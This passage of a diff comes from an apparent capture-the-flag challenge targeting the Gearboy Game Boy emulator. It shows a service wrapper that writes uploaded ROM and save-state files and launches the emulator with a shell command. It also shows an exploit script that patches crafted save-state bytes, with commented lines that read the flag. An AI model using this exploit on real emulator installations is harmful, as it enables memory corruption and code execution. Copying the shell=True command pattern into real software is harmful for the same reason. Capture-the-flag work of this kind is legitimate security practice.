Gears? Your Gearboy Exploit!") + +try: + print("Please provide base64 encoded gameboy file") + gb_b64 = input("> ") + + filename_gb = '/tmp/%s.gb' % os.getpid() + fd = open(filename_gb, "wb") + fd.write(base64.b64decode(gb_b64)) + fd.close() + + print("Please provide base64 encoded gameboy state") + state_b64 = input("> ") + + filename_state = '/tmp/%s.state' % os.getpid() + fd = open(filename_state, "wb") + fd.write(base64.b64decode(state_b64)) + fd.close() + + + p = process(f"gdbserver localhost:1234 /home/ctf/gearboy/platforms/linux/gearboy {filename_gb} {filename_state}", shell=True) + p.interactive() + +except Exception as e: + print("Something went wrong: %s" % e) + exit(-1) diff --git a/solve.py b/solve.py @@ -12,6 +12,9 @@ state = list(open("main.state", "rb").read()) for i,v in enumerate(struct.pack("<i", -0x13)): state[0x10000+i] = v +for i,v in enumerate(struct.pack("<i", 1)): + state[0x10004+i] = v + if len(argv) > 1: io = process(argv[1:]) else: @@ -20,3 +23,8 @@ io.sendline(b64encode(bytes(rom))) io.sendline(b64encode(bytes(state))) io.interactive() +# io.sendline(b"cat /flag") +# data = io.readuntil(b"CSCG", timeout=1) +# if data != b"": +# print(io.readline()) +